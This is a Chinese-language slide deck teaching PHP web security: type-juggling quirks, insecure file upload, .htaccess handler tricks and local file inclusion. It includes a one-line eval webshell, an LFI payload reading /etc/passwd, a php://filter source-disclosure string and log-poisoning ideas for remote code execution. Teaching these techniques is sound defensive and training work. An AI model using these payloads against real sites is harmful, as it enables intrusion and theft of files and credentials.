Web Security PHP

講師:ItisCaleb

PHP

世界上最好ㄉ語言

PHP

PHP

PHP

  • 網頁語言
  • 動態、弱型別
  • 直譯式
  • 直接嵌入 HTML

PHP

<?php
echo("Hello World!")
?>

PHP

目前執行 PHP 主要是用

  • Apache
  • FastCGI(Apache、Nginx...)

PHP(Apache)

通常預設就會幫你開啟 PHP 相關的設定了

只要把 .php 的檔案放在 /var/www/html 裡就能執行

<FilesMatch \.php$>
        SetHandler application/x-httpd-php
</FilesMatch>

DirectoryIndex disabled
DirectoryIndex index.php index.html

<Directory /var/www/>
        Options -Indexes
        AllowOverride All
</Directory>

PHP(Nginx)

server {
    root /var/www/html;
 
    index index.html index.php;
 
    location ~ \.php$ {
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
        fastcgi_param SCRIPT_FILENAME /var/www/php$fastcgi_script_name;
        include fastcgi_params;
    }
}

而 Nginx 要使用 PHP 則是需要去使用 fastcgi

預設也會幫你提供相關的設定檔,只需要直接引用即可

PHP

<?php
$a = $_GET['test'];
$b = [1,2,3];
var_dump($b);
echo($a);
?>
version: '3.7'
services:
  php:
    image: php:apache
    volumes:
      - ./index:/var/www/html
    ports:
      - "8000:80"

PHP

<?php
$array = array(
    1    => "a",
    "1"  => "b",
    1.5  => "c",
    true => "d",
);
?>

PHP

Some Weird Stuff

'0e1234' == '0e4567'

<?php
var_dump('0e1234' == '0e4567'); // true
var_dump('123' == 123); //true
var_dump('abc' == 0); // true
?>

'0e1234' == '0e4567'

<?php
var_dump(md5('s878926199a') == md5('s155964671a')); // true
// 0e545993274517709034328855841020
// 0e342768416822451524974117254469

?>

Command Execution

<?php
system('whoami');
shell_exec('whoami');
echo `whoami`;
?>

File Upload

File-based Web Server

Apache 是一種 File-based 的 Web Server

也就是說會提供檔案本身,同時根據檔案的類型做不同的處理

$ cat /var/www/html/index.php

<?php echo 'Hello World'>

https://example.com/index.php

Hello World

Insecure Upload

如果我們可以上傳任意檔案,並且可以獲取到該檔案,則可以透過 Webshell 來 RCE

只要副檔名是 .php,且裡面有 <?php 就可以執行

<?php eval($_GET['a'])?>

https://example.com/webshell.php?a=system('ls')

Insecure Upload

(.htaccess)

.htaccess 是 Apache 的一種設定檔

同個資料夾下會優先套用 .htaccess 裡面的設定

而不是 apache.conf 裡面的設定

Insecure Upload

(.htaccess)

<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>

index.haha 會被當成 php 執行

Insecure Upload

(.htaccess)

<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>

$ cat /var/www/html/index.haha

<?php echo 'LOL'>

https://example.com/index.haha

LOL

How to prevent

  • 檢查 POST 的 Content-Type
  • 檢查副檔名,做副檔名的黑名單/白名單

LFI

Local File Inclusion

LFI

include()

The include expression includes and evaluates the specified file.

PHP: include - Manual

LFI

  • include()
  • include_once()
  • require()
  • require_once()

LFI

<?php include($_GET['a']);?>

https://example.com/index.php?a=/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

 

PHP filter

php://filter/convert.base64-encode/resource=index.php

PHP filter

php://filter/convert.base64-encode/resource=index.php

LFI to RCE

目前 LFI 有幾種玩法可以 RCE

  • 上傳檔案
  • Log file
  • PEAR.php

Log file LFI

  • access.log / error.log 
  •  /proc/self/environ
    • 把 payload 塞在 user-agent 裡面,然後 include 它
  • 控制 session 內容
    • /tmp/sess_{session_name}

PEAR LFI

Made with Slides.com